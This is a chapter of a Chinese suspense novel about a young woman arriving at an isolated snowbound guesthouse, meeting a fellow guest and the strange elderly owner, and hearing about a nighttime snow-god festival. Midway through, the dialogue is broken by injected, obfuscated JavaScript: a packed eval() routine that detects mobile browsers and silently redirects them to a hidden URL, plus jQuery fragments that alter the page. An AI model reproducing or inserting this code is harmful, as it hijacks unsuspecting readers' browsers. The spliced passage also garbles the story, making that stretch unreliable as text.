王何驻带着行李,从大路走到积雪覆盖的小道,最后站在一家院落门口。
院子被一排栅栏围着。排栅门没关,还系着两盏红灯笼,风一吹,灯笼就撞在门牌匾上,发出一点声响,像病人在呻吟。王何驻打量一圈周边环境,这里确实有些偏僻,并不与其他建筑作邻居。
王何驻推开院门,走了进去,一条石板路从院门口铺到红砖平房。沿着走直接就是房门。
“请问有人吗?”王何驻大声问道,又敲了敲紧闭的房门。
没有人回应她。
她看了下手机,手机仅剩不足10%的电量。屏幕右角显示信号格的图标消失了。她尝试向民宿老板拨打电话,正如陈璐仁说的那样,没信号,无法拨通。
院中积雪有30厘米左右,大风刮过,扬起一阵雪沫。
王何驻转悠到平房的另一个门,敲了敲,风声盖过了她手指敲击在钢制入户门上发出的声响,她觉得里面大抵不会有人听到了。
“哐当”一声,门竟开了,是一位身材纤细的女性,十分年轻。她扎了条单马尾,穿一身海蓝渐变色呢子外套,白色毛衣作为内搭,收拾得干净利落,面容姣好,眉眼带笑。她打量王何驻,然后问道:“你是这儿的客人?”
“对,请问你是这家民宿的老板吗?”
“不,我也是这儿的客人,老板是刘大娘,她出去了,还有些时候才能回来,你先进来吧,往我屋里暖暖,外面冷。”
王何驻跟着女子进了屋,眼镜立刻起了白雾,女子递过来一张纸巾,王何驻道了声谢,拿纸巾擦了下眼镜,复又抬头环顾。
屋里干净明亮,窗子对着前院,能够看到屋外的景色。窗边是一张漆红木桌,上头摆着几本书,书皮古朴。书桌旁靠着一张暖炕,炕上的被子叠放整齐,炕下的鞋子摆放规矩。大衣柜就在床边。整个房间空间狭窄,却没有任何异味。
女子名叫赵尔雅,二十多岁,从大学毕业没多久,学的地理,听说这里发展了旅游业,缺人手,便来此地作向导,长租了这间屋子。
“就你一个小姑娘来?”赵尔雅问道。
“对,就我一个。”
“那可要小心了,这里吹‘白毛风’的时候,路不好走。如果需要的话,可以聘我作你的向导哦。我给你打个折。”
“我会考虑的。请问你有那种苹果接口的充电线吗?我想借用一下,等有空了,我再去村里商店看看。你们这应该有可以买到充电线的商店吧?”
“有的,稍等。”赵尔雅拉开抽屉,里面同样摆放整齐,她摸索了一下,找到一个三接口充电线,然后合上抽屉,把充电线交给王何驻:“这里生活的人几乎不会选择你这个牌子的手机,它太容易出故障了,遇到自然灾害什么的也很难及时预警。在这座村子的贮木场附近,有许多商店,会有卖充电线的。如果你晚上去参加山神,是‘雪神祭’吧?去参加‘雪神祭’的时候,可以看看。”
“只有晚上会举办‘雪神祭’吗?”
“不是,但晚上有篝火晚会和烟花,比白天热闹。”
院子中传来动静,赵尔雅往窗子外看了一眼,笑道:“刘大娘回来了。”
王何驻走出赵尔雅的房间,叫住刘大娘。
那是一个上了年纪、皮肤黢黑的女人,裹着绿色的头巾,像爬满苔藓的枯木桩子。她穿着一件陈旧的烟灰色棉衣,却戴了一副金耳环。她的反应有些呆滞,听完王何驻自我介绍后,愣了一会儿,才慢慢打开了一扇门。
她引着王何驻进屋,门内是一个穿堂,没有灯,靠着门外的雪取亮,光线很暗,屋内物件影子拉得老长,像潜伏的兽。她把王何驻安排在了草料房旁边的房间。房间还算宽敞,有独立卫浴,窗子朝着后院开,屋内有桌有炕,炕很大,能睡三四个成年人,炕上的被子被掀起一角,下面是烤焦的油皮纸。
王何驻上下扫了眼,总体上很满意这间屋子,她的要求不高,设备齐全就足够了。
她推着行李进屋,令人作呕的味道挤入她的鼻腔。她径直走到窗边,想要开窗通通风,却被刘大娘制止了。
“窗子钉死了,开不了。外面风大,窗不能开。”
“可是气味太重了。”
“什么气味?”
“粪便的味道。或许是牛粪马粪驴粪之类的。”
刘大娘吸了一下鼻子,说道:“没有,我没闻到。”
王何驻也不纠结,顺手把被子掀起的一角重新压回去,刘大娘却伸手,又把那被角掀回去,说道:“不要盖住,会烧坏的,这炕大,你睡不到这块。”
刘大娘离开屋子,留下王何驻一个人呆在屋中。
王何驻放好行李,脱下外套,给手机充上了电。虽然没有信号,照相、录音、手电筒、备忘录之类的功能依旧有用。
咔嚓一声,门开了。王何驻回头,发现刘大娘去而复返,抱着一些木柴。
“我给你把炕暖上。”刘大娘蹲下,用火钳往灶洞里添柴。
“好的。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438717|169330||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”王何驻没管她,只站在窗边,盯着后院的雪景。
“别老盯着雪看,眼睛会坏掉。今晚的‘神祭’,你去吗?”刘大娘冷不丁问道,声音很沉。
“什么神?”王何驻留意到她话里古怪,故作不知,试图多套点信息。
“就是篝火晚会,很多人,热闹。”刘大娘绕过了王何驻话里挖的陷阱,专注盯着灶洞中的柴火,答非所问道。
“是为了纪念‘雪六’吗?”王何驻不死心。
刘大娘却一言不发,当作没听见王何驻的话。
“我今晚不会去的。赶路太累,我需要休息。明天还会有祭祀活动吗?”王何驻换了种说法。
“会有的,一直会有。”刘大娘拿着火钳离开了。
七点左右,天彻底黑了,王何驻打算去寻点吃的,顺便归还充电线。她走到赵尔雅房门前,敲了敲门,无人响应,窗帘被拉上了,没有灯光外泄,尔雅估计不在屋内。
王何驻绕着这座红砖平房走了一圈,发现有间屋子开着门,从外望去,像是客厅,中间放了张圆桌,周遭物品堆放杂乱,厅堂连着厨房。王何驻走进去,提高音量,问道:“有人吗?”
刘大娘从厨房里慢悠悠走了出来。
“请问这家民宿是否提供餐饮服务?”
刘大娘盯着王何驻,没说话。
“你这里卖吃的吗?”
“有面条和水饺。”
“哪一种更好吃?”王何驻老毛病犯了。
刘大娘沉默。
“一碗水饺吧。”王何驻有了经验,不再继续。
王何驻坐在客厅的圆桌上,一边吃着水饺,一边打量着屋内。一张炕就放在厅堂靠墙的位置,上面乱糟糟堆着衣物,应是屋主人守夜用的。厨房边放着的柜子格外引人注目,里面摆放着各种各样的药酒,白底红字的打印纸贴在柜子旁的墙壁上,上书“一碗十元”。
一只大黄狗趴在角落,玩着手里的纸团,狗子发现王何驻在瞅它,甩了纸团,站起来,摇着尾巴向王何驻汪了几声,却没走上前,它被一根铁链拴着。王何驻看它寂寞,用筷子戳破饺子皮,将肉馅挑了出来,喂给大黄狗,大黄狗吃得很急。
刘大娘冷冷地看着,说了句“真浪费”,就回了厨房。
王何驻离开的时候,又扫了眼客厅,发现炕边床头柜竟放了张黑白照,挤在果盆之中。她走近瞧了眼,竟是个上了年纪的女人。出于尊重隐私之类的考虑,她没有细看,径直离开了客厅。